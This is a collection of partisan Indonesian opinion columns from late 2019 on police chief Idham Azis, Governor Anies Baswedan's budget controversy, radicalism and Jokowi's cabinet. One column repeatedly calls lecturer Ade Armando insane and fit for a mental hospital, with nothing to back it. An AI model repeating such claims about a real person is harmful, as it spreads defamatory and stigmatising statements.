Itulah ayat ke-65 dari Surat Yasin. Yang terjemahannya “pada hari ini Kami tutup mulut mereka. Tangan mereka akan berkata kepada Kami, dan kaki mereka akan memberi kesaksian terhadap apa yang dahulu mereka kerjakan.” Akan datang waktu mulut terkunci, kaki bicara, tangan bicara. Tidak ada kata-kata. Begitulah sepenggal syair lagu almarhum Crisye, yang ditulis Pak Taufik Ismail, yang diilhami ayat ini. Oleh Dr. Margarito Kamis Jakarta, FNN - Innasshalati wa nusuki, wa mahyaya, wa mamati lillahirabbil ‘alamin. Artinya, sesungguhnya salatku, ibadahku, hidupku, dan matiku hanyalah untuk Allah, Tuhan seluruh alam. Yang penting kita jalan saja. Tancapkan niat baik. Insya Allah Tuhan akan sayang kita. Hasbunallah wa ni’mal wakil, ni’mal maula wa ni’man nasir. Artinya, cukuplah Allah menjadi penolong kami, dan Allah adalah sebaik-baiknya penolong kami. Kira-kira seperti itu yang “saya yakini” tanda petik dari penulis, sampai saya ada dengan keluarga (Vivan.co.id, 30/10). Kalaimat-kalimat di atas, disampaikan Pak Jendral Idham Aziz pada sesi mengikuti fit and proper test di Komisi III DPR beberapa hari lalu. Ini pernyataan yang sangat berkelas dari seorang calon Kapolri. Jarang terdengar dari mulut calon pemimpin di era modern. Yang sangat meterialistis sekarang Kalimat-kalimat itu, sejauh fakta empiris yang bisa bicara, harus dinilai dengan hal yang tidak biasa. Beda, dan memang sangat berbeda. Keyakinan religius ditampilkan sebegitu jelas sebagai panduaan, tuntunan dan pemandu dirinya memasuki puncak pimpinan Polri. Alhamdulillah. Bismillahirrahim Tidak banyak bicara. Begitutulah sososk ini dikenal oleh sebagian orang. Tetapi begitu dia bicara, terlihat jelas kelasnya. Dalam sidang itu, Jendral yang tak akan menggunakan rumah dinasnya untuk menerima anggota polisi itu, meminjam kalimat yang penuh nuansa kepasrahan kepada Dia. Pasrah kepada Yang Maha Tahu dan Maha Memberi Pentujuk. Kalimat itu ditemukan dalam buku almarhum Pak Habibie, semoga selalu dalam pelukan kasih-Nya yang tak berbatas untuk direnungkan. Kalimat apa itu? Kepada Tuhan saya tidak akan bertanya mengapa, kenapa, dan bagaimana? Namun jika hamba diperkenankan mengajukan satu permohonan, maka berilah hamba petunjuk serta kekuatan untuk mengambil jalan yang benar sesuai dengan kehendak-Mu. Bismillahrirahmanirrahim (kumparan, 30/10). Jalan yang benar, dan cukup jelas. Bukan jalan sembarangan. Jalan ini tak lembut, juga tak kasar. Jalan ini juga bukan jalan emosi. Bukan pula jalan korps, jalan kekuasaan, dan jalan kawan serta lawan. Bukan, jelas sekali bukan. Sebab jalan ini teran seterang Dia membuat terang dunia. Seterang siang dan malam. Ini jalan yang unik. Tak bisa dititi hanya dengan akal hebat dan kecerdasan otak Pak Jendral. Jalan ini tidak pernah gelap dari Dia, Allah Yang Maha Tahu, Maha Melihat, yang Pak Jendral “maaf” mohon diberi petunjuk. Tak ada, sekecil apapun yang bisa disembunyikan dari-Nya. Bila ada yang disembunyijkan, saya haqqulyakin Pak Jendral tahu. Hal yang disembunyikan itu, akan sesuai takdir alamiahnya mendatangi. Memasuki setiap sudut alam bathin Pak Jendral. Langgamnya pasti mengusik. Pak Jendral, saya gembira lebih dari yang bisa dibayangkan. Karena Pak Jendral secara terang-benderang juga memandu diri dengan surat Yasin. Dalam keterangan dilansir oleh Viva.co.id, tertulis Pak Jenderal mengutip salah satu ayatnya. Sekali lagi saya gembira Pak Jenderal. Mengapa? Saya yakin Pak Jendral juga tahu ayat lain dalam surat ini. Ayat yang mengilhami Pak Taufik Ismail, sastrawan langka ini, menulis syair lagu yang dinyanyikan oleh almarhim Crisye. Semoga Allah Yang Maha Pengasih dan Penyayang selalu melimpahkan kasih dan rahmat-Nya yang tak terlukiskan itu. Itulah ayat ke-65 dari Surat Yasin. Yang terjemahannya “pada hari ini Kami tutup mulut mereka. Tangan mereka akan berkata kepada Kami, dan kaki mereka akan memberi kesaksian terhadap apa yang dahulu mereka kerjakan.” Akan datang waktu mulut terkunci, kaki bicara, tangan bicara. Tidak ada kata-kata. Begitulah sepenggal syair lagu almarhum Crisye, yang ditulis Pak Taufik Ismail, yang diilhami ayat ini. Bismillahirrahmanirrahim Pak Jendral. Dunia hukum di tangan Pak Jendral. Insyaa Allah menjadi dunia yang indah. Insyaa Allah keadilan menemukan jalan untuk mekar. Bicaralah dengan bahasa hati yang tak pernah berbohong. Bismillahirrahmanirrahim Pak Jendral. Tuntunlah hukum di negeri ini dengan mata hati. Mata yang bening. Sebening dan seindah keadilan dari Dia Yang Maha Adil. Konsekuensi James Comey, Direktur FBI pada awal pemerintahan Presiden Trump, dipecat oleh sang Presiden pada tanggal 15 Mei 2017. Apa penyebabnya? Tanggal 8 Juni, dari pukul 10.00 hingga pukul 13.00 siang itu, mantan Direktrur FBI Comey memberi kesaksian terbuka dihadapan Komite Intelijen Senat. Apa yang diterangkan Comey? Menurut Micahel Wolf, ucapan Comey sangat jelas, Presiden Trump menganggap Direktur FBI bekerja langsung untuknya. Karena sudah memberi pekerjaan, lanjut Comey, Presiden menginginkan imbalan. Menurut penuturan Comey, tulis Wolf lebih lanjut, Presiden ingin FBI menjauh dari Micahel Flynn. Trump ingin FBI berhenti melakukan investigasi terkait Rusia. Intinya sangat jelas. Jika Presiden mencoba memaksa Direktur FBI melakukan atau tidak melakukan sesuatu karena khawatir penyelidikan terhadap Micahel Flynn akan membahayakan dirinya. Itu berarti sudah terjadi upaya menghalagi keadilan. Comey, untuk alasan apapun, saya berpendapat, merupakan pria dengan keteguhan moral top. Comey punya harga diri, dan semua yang sejenis untuk seorang laki-laki yang berkelas. Dia tak mundur dari investigasi “membahayakan” Presiden Trump. Comey, malah terus bekerja, sampai dengan Presiden Trump menggunakan otoritasnya, mengeluarkan Comey dari jabatannya. James Comey, bukanlah almarhum Pak Hoegeng. Mantan Kepala Polisi yang dikenang sepanjang masa ini. Yang mirip dengan Comey, almarhum Pak Hoegeng juga tersingkir dari jabatannya. Lurus dalam menegakan hukum, menjadi penanda moralitas hukum tak terbantahkan dari pria berpembawaan sederhana tersebut. Almarhum Pak Hoegeng yang hebat dan berkelas itu. Semoga Allah Subahanhu Wata’ala selalu merahmatinya. Dia tak peduli siapa yang dihadapinya. Sikap teguhnya, membawa dirinya keluar dari jabatan yang diinginkan oleh sebagian besar jendral polisi. Pak Hoegeng memang hebat, dan sangat hebat. Hukum bukan soal teks semata. Hukum itu juga soal hati. Soal moralitas dari penegaknya, dan soal bagaimana penegak hukum mendefenisikan diri mereka. Termasuk mendefenisikan hari esok yang akan dilaluinya. Itu perkara yang besar. Perkara hari esok itu, terlalu besar untuk. Tak cukup hanya ditimbang dengan mata akal dan mata bathin. Sebab hanya dengan cara itulah, jalan kebenaran yang dirindukan oleh Pak Jendral, terbentang disepanjang masa jabatan ini ke depan. Hukum juga bukan soal siapa kuat dan siapa lemah. Hukum itu bukan soal siapa kelompok kita dan lawan kita. Sama sekali bukan itu. Hukum itu hadir dan ada, untuk memastikan orang kuat bisa menjadi lemah, dan orang lemah bisa menjadi kuat. Hukum diperlukan untuk menuntun kehidupan yang fana ini menjadi indah untuk semua ummat manusia. Itulah inti dari pidato pertama Sayyidina Umar Bin Khattab saat menerima amanah menjadi pemimpin. Luruslah di jalan ini Pak Jendral, dengan semua konsekuensinya. Bismillahirrahmanirrahim Pak Jendral. Selamat bertugas. Penulis adalah Pengajar Hukum Tata Negara Universitas Khairun Ternate

Dosen Gila di Depok?

Seorang akademisi seharusnya melihat fenomena carut marut penganggaran pada level DKI Jakarta sebagai bahan observasi yang penting. Kemudian selanjutnya meningkatkan keingintahuan intelektual. Apakah carut marut anggaran ini bersifat nasional? Dan terjadi pada semua lembaga? Oleh Dr. Syahganda Nainggolan Jakarta, FNN - Ade Armando, AA, dosen Fisip Universitas Indonesia di Depok. Kelihatannya dia sudah gila? Pada hari ini, seperti diberitakan media, dia mengakui mengunggah foto Anies Baswedan, Gubernur Jakarta. Foto Anies diunggah dengan wajah Joker. Wajah Joker ini adalah wajah yang memerankan dunia kejahatan, manusia gila, psikopat, anarkis dan tega membunuh ibunya sendiri. Fahira Idris, wakil rakyat Jakarta untuk Dewan Perwakilan Daerah RI, melaporkan AA ke polisi. Dia dilaporkan ke polisi karena dianggap menghina Gubernur Jakarta itu. Mengapa AA dapat disebut dosen gila? Dia mungkin gila karena terobsesi pada manusia gila. Joker hanya ada didunia film hiburan, untuk disematkan pada sosok manusia di dunia nyata. Selain terobsesi pada sosok dan peran gila itu, Ade Armando juga nenyematkan karakter orang gila dan jahat tersebut kepada seorang Gubernur. Penstempelannya juga dilakukan Ade Armando secara membabi buta. John Hinkley misalnya, dulu karena terinspirasi dari film "Taxi Driver", yang menembak Presiden Amerika, Ronald Reagan. Hinkley kemudian diketahui menjadi gila atau mental illness. Ade Armando sendiri sering dilaporkan polisi karena menjadi orang utama dalam memproduksi "hate speech" beberapa tahun belakangan ini. Namun, dalam penjelasannya ke masyarakat, Fahira Idris berharap Idham Azis, Kapolri baru, yang menurut Fahira lebih relegius, dapat memproses secara hukum untuk "hate speech" AA terkait Anies ini. Selama ini terkesan polisi melindungi Ade. Menurut Dr. Ahmad Yani, SH, mantan anggota Komisi III DPR RI, Ade dapat dijerat dengan pasal berlapis. Dalam diskusi di Menteng Club sore tadi, Ahmad Yani siap ditunjuk untuk menjadi pengacara Anies Baswedan. Ade Armando menyebarkan rasa kebencian dan permusuhan. Dia menyebarkan fitnah dan kebohongan. Dia melakukan pencemaran nama baik dan makar terhadap pemerintahan Provinsi DKI. Dalam masyarakat akademis, khususnya dosen, verifikasi dan falsifikasi adalah instrumen objektif untuk menjelaskan suatu peristiwa atau observasi. Tuduhan yang disematkan kepada Gubernur Anies, oleh Ade Armando terkait kacau balau anggaran di DKI. Ade, yang merefer kebenciannya kepada Anies Baswedan dihubungkan dengan berbagai item satuan anggaran dalam budget APBD DKI 2020. Isu yang berkembang awalnya seolah-olah Anies tidak becus pada perencanaan anggaran tersebut. Padahal isu ini berkembang dari DPRD-DKI. Yang merupakan penanggung jawab bersama Pemda perihal APBD. Anies memperlihatkan pada publik bagaimana kerusakan penyusunan anggaran ini adalah warisan dari Ahok atau sudah berlangsung di masa Ahok menjadi Gubernur. Dan Anies saat ini justru ingin penyusunan anggaran transparan. Seorang akademisi seharusnya melihat fenomena carut marut penganggaran pada level DKI Jakarta sebagai bahan observasi yang penting. Kemudian selanjutnya meningkatkan keingintahuan intelektual. Apakah carut marut anggaran ini bersifat nasional? Dan terjadi pada semua lembaga? Namun, Ade tidak tertarik dengan observasi. Tanpa verifikasi dan falsifikasi, Ade spontan menghakimi bahwa Anies adalah penjahat. Padahal, sudah dua tahun ini memimpin, Anies mendapatkan penilaian WTP (Wajar Tanpa Pengecualian) dari Badan Pemeriksaan Keuangan (BPK). Selian itu, ada tiga penghargaan lain yang diperoleh Pemda DKI. Anies dapat penghargaan pengendalian gratifikasi terbaik. Pemda juga dapat penghargaan aplikasi pelayanan publik dan lampiran Harta Kekayaan Penyelenggara Negara dari Komisi Pemberantasan Korupsi (KPK). Jadi, seorang "simple minded, closed minded", bukanlah sikap akademisi sejati. Apalagi jika membandingkan perolehan WTP dari BPK baru terjadi lagi di eanya Anies. Penutup Benarkah Ade Armando gila? Dari sisi dunia akademis, seorang dosen umumnya dikaitkan dengan keinginan tahuan atas sebuah kebenaran. Jika ada seorang dosen yang kerjanya menyebarkan kebohongan dan fitnah, tentunya dosen tersebut diperkirakan sakit jiwa. Jika dikaitkan dengan Ade, tentu kita lebih meyakini bahwa dia cenderung sudah gila. Karena imaginasi yang diperoleh untuk kegilaannya itu berasal dari film horror, Joker. Padahal film ini yang paling banyak dikecam oleh dunia pendidikan. Lalu bagaimana Anies Baswedan menyikapi Ade Armando? Tentu sebagai Gubernur DKI yang waras, akan menjadi gila pula jika mengurusi orang gila. Karena Ade dosen di Depok, di luar juridiksi kekuasaan Anies, susah juga bagi Anies menawarkan Ade untuk berobat di Rumah Sakit Jiwa Grogol. Oleh karena itu, lebih baik buat Anies tidak menanggapi hal ini. Penulis adalah Direktur Eksekutif Sabang Merauke Circle

Mengintai 24 Jam, Musuh Gubernur Anies Seperti Piranha Lapar

Oleh Asyari Usman Jakarta, FNN - Mereka berlomba-lomba mau menjadi pahlawan untuk menjatuhkan Gubernur Anies Baswedan. Kali ini, amunisinya adalah soal anggaran untuk membeli lem Aibon sebesar 82 miliar dan pena ballpoint sebesar 124 miliar. Jumlahnya memang tak masuk akal. In kesalahan besar. Semua sepakat. Tetapi, harap diingat, jumlah ini baru pada tahap pengajuan. Pengajuannya pun asal-asalan saja. Kepala SKPD (satuan kerja perangkat daerah) yang tidak cermat. Bisa jadi juga malas. Bahkan, mungkin saja ada yang sedang menjalankan misi untuk menjelekkan Anies. Tapi, anggaplah ini kekeliruan Anies. Tidak masalah. Akan menjadi pelajaran bagi Gubernur santun ini ke depannya. Agar tidak lagi percaya 100 persen kepada staf yang memasukkan angka-angka anggaran ke dalam sistem e-budgeting. Yang harus diingat tiap saat oleh Anies adalah bahwa dia diincar 24 jam oleh orang-orang yang tidak suka padanya. Para musuh politik Anies menunggu kesalahan itu bagaikan ikan piranha yang sedang lapar. Begitu ada aroma yang mirip bau darah, ikan-ikan piranha itu langsung meluncur secepat kilat ke TKP. Memang mengerikan. Inilah yang harus diwaspadai oleh Gubernur Anies. Dia harus awas 24 jam juga, sebagaimana para musuh mengincar 24 jam. Khusus soal anggaran belanja, persoalannya sangat sensitif. Pasti menjadi fokus intipan musuh-musuh politik yang ingin sekali melihat Anies diserang dari segala arah. Sekali lagi, mereka itu mengintai 24 jam. Anies harus semakin hati-hati lagi. Dan ini tentunya bagus sekali. Alhamdulillah, Gubernur Anies sangat sigap. Dia mengumpulkan stafnya untuk membicarakan keanehan anggarapan lem Aibon dan ballpoint itu pada 23 Oktober. Jauh sebelum para musuh politiknya menggelar jumpa pers PSI yang kental untuk cari panggung. Rapat yang dipimpin Anies untuk membicarakan keanehan mata anggaran itu baru diunggah ke kanal YouTube pemprov pada 29 Oktober. Seperti dijelaskan oleh Gubernur, dia tidak mau mengumumkan itu kepada publik. Apalagi sambil menunjukkan kemarahan di depan kamera. Atau sambil memaki-maki staf yang didapati bersalah. Anies cukup mengatakan bahwa mereka yang tak berniat kerja dengan profesional akan dikeluarkan dari barisan. Tidak harus membentak-bentak. Tidak harus tunjuk-tunjuk pertanda jagoan, dlsb. Jadi, ke depan nanti Bung Anies hendaklah ekstra hati-hati. Tak salah kalau diturunkan staf yang khusus bertugas untuk mengawasi angka-angka yang dimasukkan ke sistem e-budgeting. Percayalah, ada orang yang terus-menerus mengincar kesalahan Gubernur Anies. Anda tidak perlu merasa terganggu oleh insiden lem Aibon dan ballpoint itu. Bukan Anda yang membuat kesalahan itu, kok. Semua orang paham. Itu hanya ulah gerombolan piranha yang sedang lapar. 31 Oktober 2019 Penulis Adalah Wartawan Senior

Idham Azis Cukup Menghibur Umat Islam

Semoga saja dengan Kapolri di tangan beliau, hubungan Umat Islam dengan polisi yang sempat merenggang dan retak itu, bisa terrajut dan tersambung kembali. Semoga Umat Islam bisa kembali menjadi mitra aktif dari polisi. Hubungan yang saling membutuhkan untuk bersama-sama menjaga keamanan negeri ini, agar tetap aman dan kondusif. Oleh M. Naufal Dunggio Jakarta, FNN - Statement ini tampaknya cukup menghibur hati umat Islam. Pernyataan itu datang dari mulut calon Kapolri Idham Izis. Kenapa dibilang cukup menghibur? Karena melihat perkawanan polisi dengan umat Islam mengalami kerenggangan, yang begitu jauuuh. Padahal sebelumnya umat Islam menjadi mitra aktif polisi dalam menjaga keamanan negeri ini. Penangkapan para Ulama, Ustadz dan Habaib merupakan bukti nyata adanya kerenggangan hubungan antara polisi dengan umat Islam. Adapun orang-orang yang dekat dengan penguasa dan pendukung penguasa seperti Abu Janda, Denny Siregar, Ade Armado dan para penista Agama Islam yang lain, toh mereka aman dan tentram saja. Padahal sudah lebih dari puluhan laporan polisi masuk ke polisi dan. Namun alhamdulillah mereka tidak diproses. Bang Idham, begitu panggilan para aktivis pada beliau. Dia manusia yang cukup religius. Beliau suka membantu teman-teman dalam kesusahan, terutama kepada kalangan aktivis jalanan. Beliau tidak memilih dan memilah bila membantu seseorang. Mungkin inilah kekuatan akhlaq beliau, yang sangat suka memberi dan membantu kepada orang lain. Dampaknya, bang Idham dipilih Presiden untuk menakhodai Polisi Indonesia dalam empat belas bulan ke depan. Sampai dengan Januari 2021 nanti Suatu waktu, penulis pernah bersama dengan bang Idham mendampingi Pak Makbul Padmanegara, ketika itu sebagai Kabareskrim. Kami berkunjung ke Tentena Poso yang saat itu lagi bergejolak. Penulis menyaksikan gaya bang Idham. Orangnya tenang, fokus, detail. Tidak terlalu banyak bicara, namun sangat bertanggung jawab dalam melaksanakan tugas. Wajar saja kalau sekarang ini beliau diamanahkan untuk menjadi orang nomor satu di tubuh Polisi. Karena punya talenta untuk menjadi pimpinan. Sudah terlatih sejak berpangkat mayor polisi. Itu sekilas cerita tentang bang Idham yang penulias saksikan sendiri. Semoga saja dengan Kapolri di tangan beliau, hubungan Umat Islam dengan polisi yang sempat merenggang dan retak itu, bisa terrajut dan tersambung kembali. Semoga Umat Islam bisa kembali menjadi mitra aktif dari polisi. Hubungan yang saling membutuhkan untuk bersama-sama menjaga keamanan negeri ini, agar tetap aman dan kondusif. Polisi yang baik, dan dianggap sukses itu bukan karena dia bisa menangkap penjahat. Tetapi lebih dari itu, bagaimana polisi bisa menjadikan para penjahat itu menjadi malu dan takut untuk melakukan kejahatankembali. Dan penulis yakin, bang Idham Azis bisa melakukan itu. Semoga Allah memudahkan segala tugas dan urusan Kapolri baru. Terutama dalam menjaga keamanan negeri ini tanpa harus mencederai umat beragama. Siapapun umat beragama itu. Semoga saja. Hanya kepada Allah jualah kita berserah diri. Insyaa Allaah. Penulis adalah Aktivis dan Ustadz Kampung

Soal Radikalisme, Idham Azis Tampak Cerdik

Tidak gampang memang membicarakan soal radikalisme itu. Apalagi sampai sekarang, belum jelas, apa saja definisi atau batasan yang terang dan jelas. Apa itu pengertian radikalime dan intolerasi? Dengan pemahaman yang seperti apakah, sebutan soal radikalisme dan instolerasi itu ditempelkan kepada seseorang atau kelompok orang? By Luqman Ibrahim Soemay Jakakrta FNN - Soal redikalisme, terlihat Kapolri Jendral Polisi Drs. Idham Azis punya sikap yang jelas dan tegas. Idham mengatakan, redikalime tidak bisa diindentikan dengan Agama Islam. Radikalisme itu adalah persoalan pribadi setiap orang. Bahkan ada juga kelompok orang yang berpaham radikalisme. Yang bisa dipastikan adalah radikalisme bukan itu Agama Islam Jendral Polisi Drs. Idham Azis membuat penegasan itu ketika mengikuti fit and proper test di Komisi III DPR. Uji kapatutan dan kelayakan adalah syarat yang harus dilewati dan diikuti Idham untuk bisa menjadi Kapolri. Kegiatan fit and profer test juga terbuka untuk diikuti masyarakat umum. Bisa dilihat, didengar dan disaksikan siapa saja. Selama menjalani rangkain fit and profer test di Komisi III sebagai calon Kapolri, tampaknya radikalisme adalah salah satu isu yang paling menarik dan penting disampaikan Idham. Radikalisme, satu diantara tujuh program kerja Idham Azis bila terpilih menjadi Kapolri. Dengan ruang sisa waktu, yang hanya empat belas bulan, Idham perlu kerja keras untuk bisa merealisasikan tujuh program kerja lainnya . Cara memilih tempat yang pas untuk menyampaikan persoalan radikalisme dan Islam, sejauh ini tampak Kapolri Idham Azis mengerti dan memahami betul masalah yang sangat sensitiv tersebut. Sebab bila keliru mengelola isu sensitiv ini, bisa jadi bukan menyelesaikan masalah, atau memperkecil masalah. Sebaliknya, bisa memproduksi dan manambah masalah baru. “Tidak boleh radikalisme itu diidentikkan dengan Agama Islam. Sebab radikalisme itu hanya ulah dari perorangan atau kelompok orang yang bersifat kejahatan, ”tegas Idham. Ini pernyataan hebat dan berkelas dari seorang Kapolri. Pernyataan itu menggambarkan, Idham orang yang mengerti dan faham, bagaimana memilih diksi dan tempat yang pas untuk membahasakan radikalisme ke publik. Memang tidak gampang bicara persoalan radikalisme. Apalagi sampai sekarang, belum jelas apa saja definisi atau batasan yang terang dan jelas soal radikalisme. Apa itu pengertian radikalime dan intolerasi? Dengan pemahaman yang seperti apakah, sebutan soal radikalisme dan instolerasi itu ditempelkan kepada seseorang atau kelompok orang? Walaupun demikian, isu sekitar radikalime telah memperlihatkan relasi determinan kepada Agama. Dan determinan yang saat ini terlihat mengarah kepada Agama Islam. Bila tidak pas dalam memilih diksi dan tempat untuk membicarakannya, soal ini bisa meluber ke mana-mana. Banyak orang yang awalnya tidak marah dan tersinggung, bisa bersikap sebaliknya. Paktanya hari ini, isu radikalime dan intoleransi itu, yang sekarang ini mengakibatkan pernyataan membahana terjadi di masyarakat. Pernyataan yang telah membelah realitas kemesraan tradisional antara Nahdatul Ulama (NU) dan Muhammadiyah, melawan Kementerian Agama, “ujar Pakar Hukum Tata Negara Margarito Kamis. Bicara soal radikalime itu, Pak Din Syamsudin pun menanggapinya. Apalagi Kementerian Agama ditugaskan Presiden Jokowi untuk nmengurusi radikalime. Profesor pintar dan berintegritas top ini mengatakan, “seharusnya Kementerian Agama bukan hanya mengurus radikalisme”. Kementerian Agama itu memiliki peranan yang jauh lebih penting dan besar, daripada sekedar hanya mengurusi soal radikalisme. Kementerian Agama juga jangan sampai disalahfungsikan. Tugasnya lebih luas, yaitu membangun moral bangsa. Sebab radikalisme tidak hanya ada di seputaran agama saja. Lebih jaun dan kritis, tampaknya Pak Din mendorong isu radikalime ke dalam pemahaman konstitusi bernegara. Misalnya, mengapa tidak boleh disebut radikalime ekonomi? Padahal mereka yang melakukan kekerasan dan pelarian modal. Sangatlah pas dan pantas saja untuk mereka disebut sebagai pelaku atau lelompok radikalisme. Sebab perbuatan mereka telah menimbulkan kesenjangan ekonomi. Mereka yang memperlebar jurang antara yang kaya dengan miskin. Yang kaya kamin kaya. Sebaliknya, yang miskin makin miskin. Mengapa juga mereka tidak disebut dengan radikalisme politik atau radikalime hukum? Padahal dua bentuk radikalime ini bisa mengakibatkan bangsa dan negara berantakan. Contohnya, banyaknya politisi yang dijebloskan KPK ke penjara. Kenyataan itu membuktikan bahwa radikalisme di bidang hukum dan politik sangat masif dan membahayakan. Itu bisa terjadi karena menipisnya moral bangsa. Melihat resksi yang kuat tentang radikalism itu, Jendral Idham Azis terlihat cukup cerdik dan pandai dalam memilih tempat, waktu dan pilihan diksi untuk berbicara tentang radikalisme. Idham juga tampaknya faham bagaiamana menangani radikalisme. Sebab bila salah dalam membuat treatment, hampir dipastikan akan menambah masalah baru. Itulah yang harus dihindari Penulis adalah Wartawan Senior

Jokowi Apakan Itu Partai-Partai Non DPR dan NU?

Sekarang bukan waktunya meminta mereka memahami sekali lagi kesulitan dari Pak Jokowi. Sekarang Pak Jokowi sudah menjadi Presiden. Keadaan mutakhir memperlihatkan arus kecil membawa Pak Jokowi ke suatu perspektif klasik dalam politik. Perspektif itu adalah mereka telah bersama-sama dengan Pak Jokowi mencapai tujuan menjadi presiden. Oleh Dr. Margarito Kamis Jakarta, FNN - Urusan apa dan dengan siapa? Urusan dengan partai politik tertentu, dan Nahdatul Ulama (NU). Mereka tak diperlakukan sama dengan partai-partai lain. Sampai sejauh ini tanpa ada penjelasan dari Pak Jokowi. Entah kenapa demikian? Apakah hanya karena mereka tidak memiliki kursi di DPR, atau ada hal lainnya? Juga tidak jelas. Serba gelap. Kenapa mereka tak diangkat menjadi menteri atau diberikan jabatan lain? Menurut Undang-Undang Nomor 39 Tahun 2008 Tentang Kementerian Negara, jumlah kementerian memang terbatas. Tetapi kenapa juga tidak menggunakan keterbatasan tersebut untuk memprioritaskan mereka? Kenapa hanya memprioritaskan yang lain? Lalu juga dengan mereka yang tidak berpartai? Tak ada penjelasan yang selayaknya dari Pak Jokowi. Telah Bekerja Dilihat dari sudut pandang hukum, cara pembentukan kabinet dalam sistem presidensial, memang berbeda dengan parlementer. Sistem presidensial menyerahkan kewenangan pembentukan kabinet sepenuhnya pada presiden secara personal. Partai tidak diikutkan dalam urusan yang satu ini. Beda betul dengan sistem parlementer. Dalam sistem parlementer, ini partai-partai, tentu saja yang memiliki kursi di DPR, yang sedari awal berkoalisi dengan Pak Jokowi, ikut membicarakan masalah menteri di kabinet. Dalam makna partai ikut menentukan formasi kabinetnya Pak Jokowi. Tetapi soalnya tidak disitu. Ini bukan soal hukum. Ini persoalan politik. Penentuan mengenai siapa, dan dapat apa, itu adalah soal politik, dan bukan hukum. Mengapa sebagian partai, bukan hanya diikutkan, tetapi dijatahi jabatan. Sementara sebagian partai yang lain tidak dijatahi jabatan? Toh dalam kenyataannya, mereka telah menjadi lebih dari Jokowi dan Kiyai M’ruf. Sepanjang jalan dalam pelaksanaan kampanye yang bergelombang dan berat, mereka telah memperlihatkan kesungguhannya untuk memenangkan Jokowi dan Ma’ruf Amin. Lagi-lagi, ini bukan masalah hukum. Namun ini sepenuhnya masalah politik. Merekalah yang menyukseskan Pak Jokowi menjadi presiden. Pada merekalah Presiden berhutang. Hutangnya pasti sangat tak bisa diperhitungkan. Mereka telah bersekutu, setidaknya menjadi pendukung non ideologis Pak Jokowi dengan segala emosinya. Mereka bukan sekutu asal-asalan. Mereka sekutu yang paling top. Apalagi sayap NU. Politik memang dunianya tersendiri. Dunia yang bisa saja sangat kejam. Dunia ini, seperti Churchil, pria yang pernah menjadi PM Ingris pada perang dunia kedua dulu. Pria yang sangat bergairah menghadapi tantangan. Terkadang mengabaikan yang detail. Churchil juga mudah mengubah kebijakan lukiskan sebagai dunia yang membuat seseorang bisa mati berkali-kali. Disitulah bedanya dengan perang, katanya. Dalam perang orang hanya mati sekali. Sementara dalam politik, bisa mati berkali-kali. Itukah yang sedang dipaksa untuk dialami partai-partai ini dan NU? Diabaikan setelah bekerja, tanpa adanya penjelasan? Padahal mereka adalah fungsionaris-fungsionaris utama partai-partai yang berkelas lebih dari kubu pendukung Pak Jokowi. Orang-orang ini terlihat jelas dalam semua hal. Mereka telah tampil paling depan untuk berbicara dalam banyak tingkatan isu aktual. Mereka juga arif dalam banyak hal. Apakah mungkin karena mereka arif itulah, sehingga menjauhkan mereka dari hasrat menjadi lawan untuk Pak Jokowi sepagi ini? Kearifan mereka, mungkn dapat diharapkan tidak membuat mereka mempertalikan politik dengan harga diri. Ketika politik dan harga diri dipertalikan. Atau politik dilihat sebagai permainan yang melibatkan harga diri, emosi dan fanatisme, maka goresan kecil sekalipun terhadap mereka, sama dengan memanggil badai datang secepat kilat. Begitulah yang tersirat dari kata-kata bijak,” satu lawan menjadi terlalu banyak dari seribu kawan”. Rumit Memang Partai-partai ini dan NU pasti tidak meminta jabatan apapun, dalam pemerintahan Pak Jokowi. Saya sangat yakin itu. Itu dapat dipastikan. Toh dulu, hampir setiap saat mereka secara terbuka mengatakan memberikan bahwa dukungan yang mereka berikan kepada Pak Jokowi tanpa syarat. Apalagi harus memegang jabatan ini atau itu. Mereka, saya menduga, juga tidak sedang menyuruh dengan cara yang khas agar Pak Jokowi memahami mereka. Betapa politik tidak pernah terlepas dari kredo “kami berikan apa dan apa imbalannya”. Mereka adalah orang-orang yang sangat tahu bahwa dunia politik tidak pernah cukup jauh dari permainan siapa yang menunggangi siapa? Walaupun demikian, saya cukup yakin bahwa mereka sangat tahu politik juga bukan dunia yang tidak terjalin dengan kebijakanaan dan kearifan. Politik sangat membutuhkan sisi kebijakan dan kearifan tersebut. Disitulah Jokowi seharusnya berada. Rumit memang. Tetapi serumit itu sekalipun, Pak Jokowi harus menemukan cara solusi untuk dapat menyenangkan mereka. Pemecahan yang menyenangkan itu tidak berbentuk meminta mereka untuk memahami kesulitan Pak Jokowi. Sudah terlalu lama. Bahkan terlalu sering selama kampanye, mereka memahami Pak Jokowi. Juga memahami Kiyai Ma’ruf. Sekarang bukan waktunya meminta mereka memahami sekali lagi kesulitan dari Pak Jokowi. Sekarang Pak Jokowi sudah menjadi Presiden. Keadaan mutakhir memperlihatkan arus kecil membawa Pak Jokowi ke suatu perspektif klasik dalam politik. Perspektif itu adalah mereka telah bersama-sama dengan Pak Jokowi mencapai tujuan menjadi presiden. Pak Jokowi pasti sangatlah mengetahui itu. Dan politik sangat mengharuskan presiden untuk tahu tentang keinginan mereka. Sebab faktanya mereka sudah bekerja siang dan malam, dan tertatih-tatih untuk menjadikan Pak Jokowi menjadi Presiden. Haruskah memberikan mereka jabatan? Padahal mereka juga tidak meminta. Namun apa iya? Apa Pak Jokwi tak mengetahui bahwa bagi partai politik, berada dalam kekuasaan pemerintahan itu menjadi sejenis kehormatan. Ini memang gengsi yang kecil. Soal ini memang sangat krusial. Karena semua kementerian telah terisi. Jabatan lain juga sudah terisi. Berhentikan mereka yang sedang menjabat? Apa alasannya? Mereka juga, dengan cara yang minimal sekalipun telah bekerja membawa Pak Jokowi menjadi Presiden. Bentuk lembaga baru untuk mereka? Oke saja. Tetapi duit sedang susah. Hutang sedang terus digali. BPJS kesehatan sudah dinaikan. Kerumitan-kerumitan kecil itu, dalam kenyataannya berhimpit dengan formasi kabinet yang jauh dari segaris dengan kearifan konstitusional selama bertahun-tahun. Kearifan konstitusional itulah yang membuat PP Muhammadiah dan PB NU bertahun-tahun berada pada Kementerian Pendidikan dan Kebudayaan, serta Kementerian Agama. Kini kedua ormas terbesar di Indonesia itu tersingikir dari dua kementerian tersebut. Padahal NU, setidaknya melalui sayapnya, seperti juga partai-partai sudah habis-habisan di sepanjang jalan kampanye pilpres yang berat. Pantaskah NU harus menemukan kenyataan yang pahit ini? Yaitu tersingikir dari puncak Kementerian Agama? Akankah semua kerumitan itu menghasilkan jalan terjal bagi Pak Jokowi? Yang bisa dijelaskan, urusan Pak Jokowi dengan mereka jauh dari selesai. Memecahkannya sangat rumit. Namun tidak segera 